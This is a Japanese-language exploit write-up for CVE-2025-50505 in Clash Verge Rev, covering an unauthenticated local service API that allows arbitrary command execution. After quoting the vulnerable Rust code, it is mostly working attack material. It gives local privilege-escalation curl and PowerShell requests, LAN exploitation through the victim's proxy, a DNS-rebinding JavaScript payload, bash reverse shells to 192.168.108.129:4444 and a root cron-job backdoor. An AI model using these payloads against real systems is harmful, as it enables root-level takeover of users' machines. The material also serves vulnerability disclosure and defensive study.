
CVE-2025-50505 の Clash Verge Rev におけるエクスプロイト。認証なしの API を介したローカル権限昇格とリモートコード実行を実証し、DNS リバインディングやリバースシェル技術を含みます。
認証されていないAPIがClash Verge Revにおける任意のコマンド実行および権限昇格を引き起こす
この脆弱性は、デフォルトで昇格された権限でインストールされるclash-verge-serviceコンポーネントによって公開されている認証されていないAPIエンドポイントに起因します。この欠陥により、攻撃者は任意のコマンドを実行でき、2つの主要な攻撃シナリオ(ホストマシン上のローカル権限昇格(LPE)と特定の条件下でのリモートコード実行(RCE))につながります。
RCEベクターは、ユーザーがLAN接続を有効にしている場合、同じローカルエリアネットワーク(LAN)上の攻撃者によって悪用される可能性があります。さらに深刻なのは、DNSリバインディング攻撃と連鎖させることでパブリックインターネットからも悪用可能となり、攻撃者がユーザーに悪意のあるWebサイトを訪れさせるだけでブラウザのセキュリティポリシーをバイパスし、被害者のマシン上でコマンドを実行できるようになることです。
この脆弱性に関する最初の公の警告は、@KawaiiZapicによってX上で提供されました。
clash-verge-service コンポーネントは高い権限(root または SYSTEM)で実行され、認証されていない HTTP API を 127.0.0.1:33211 で公開しています。脆弱性は /start_clash エンドポイントにあり、Mihomo コアプロセスの起動を制御するための JSON ペイロードを受け入れます。
サービスはこのペイロードのいくつかのパラメータに基づいてコマンドを構築し実行します。その構造は次のようになります。
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
重要なのは、bin_path、config_dir、config_file、log_file の4つのパラメータすべてが攻撃者によって完全に制御可能であることです。Rust は古典的なコマンドインジェクション(例えば ; や | を使ったコマンドの連鎖)に対する固有の保護を提供していますが、攻撃者がコマンド全体の構造を制御できるため、2段階の攻撃により任意のコード実行を達成できます。
/start_clash インターフェースには認証が実装されていません。clash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() は start_mihomo() を呼び出し、start_mihomo() は bin_path を渡して関数 process::spawn_process(bin_path, &args, log) を呼び出します。 spawn_process() は std::Command::new(command) を呼び出してコマンドを実行します。clash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

この脆弱性は、2つのシナリオでRCEにエスカレーションする可能性があります。
ユーザーがClash Verge Revクライアント内で「Allow LAN」(局域网连接)オプションを有効にしている場合、アプリケーションのプロキシサーバーは同じローカルネットワーク上のすべてのデバイスからアクセス可能になります。同じLAN上の攻撃者は、露出した被害者のプロキシを経由して悪意のあるリクエストを送信することでこれを悪用できます。
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
より高度な攻撃として、LANアクセスを必要とせずにインターネットから実行することもできます。この攻撃チェーンは、DNSリバインディングと、「0.0.0.0-day」エクスプロイトとして知られる特定のブラウザの動作を組み合わせて利用します。
この攻撃の鍵は、Firefoxや特定のバージョンのChromiumがIPアドレス0.0.0.0を127.0.0.1のエイリアスとして扱うことです。これにより、攻撃者は同一生成元ポリシー(SOP)やプライベートネットワークアクセス(PNA)などの最新のブラウザセキュリティ機能をバイパスできます。
攻撃の流れは次のとおりです。
attacker.com)でホストされている悪意のあるWebサイトにアクセスします。attacker.comを実際のパブリックIPアドレスに解決します。悪意のあるページが被害者のブラウザに読み込まれます。attacker.comのIPを0.0.0.0に短いTTLで変更します。attacker.comを再解決し、今度は0.0.0.0を受け取ります。127.0.0.1に直接送信されます。リクエストのオリジンは依然としてattacker.comであるため、スクリプトはセキュリティ制限をバイパスし、127.0.0.1:33211の脆弱なclash-verge-service APIと直接通信し、リモートコード実行を達成します。
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
PHPプローブを、境界マーカーをサポートする任意のスクリプト言語に置き換えてください。ルートシェルを取得したい場合は、次のセクションを参照してペイロードを変更してください。
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

注: Content-Type を application/json にカスタマイズする場合は、no-cors を設定しないでください。First then second は遅いですが、より安定したDNSリバインディングモードです。multiple answers を選択することもできますが、一部のパブリックDNSサーバーによって緩和され、攻撃が失敗する可能性があります。
MacOS および一部の Linux システム(例: Kali)には zsh がインストールされており、-d と -f でスクリプトを実行できます。
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
これらの条件下でコマンドを正常に実行するために zsh が使用できることを提案してくれた @Esonhugh に感謝します。
最新バージョンに更新してください。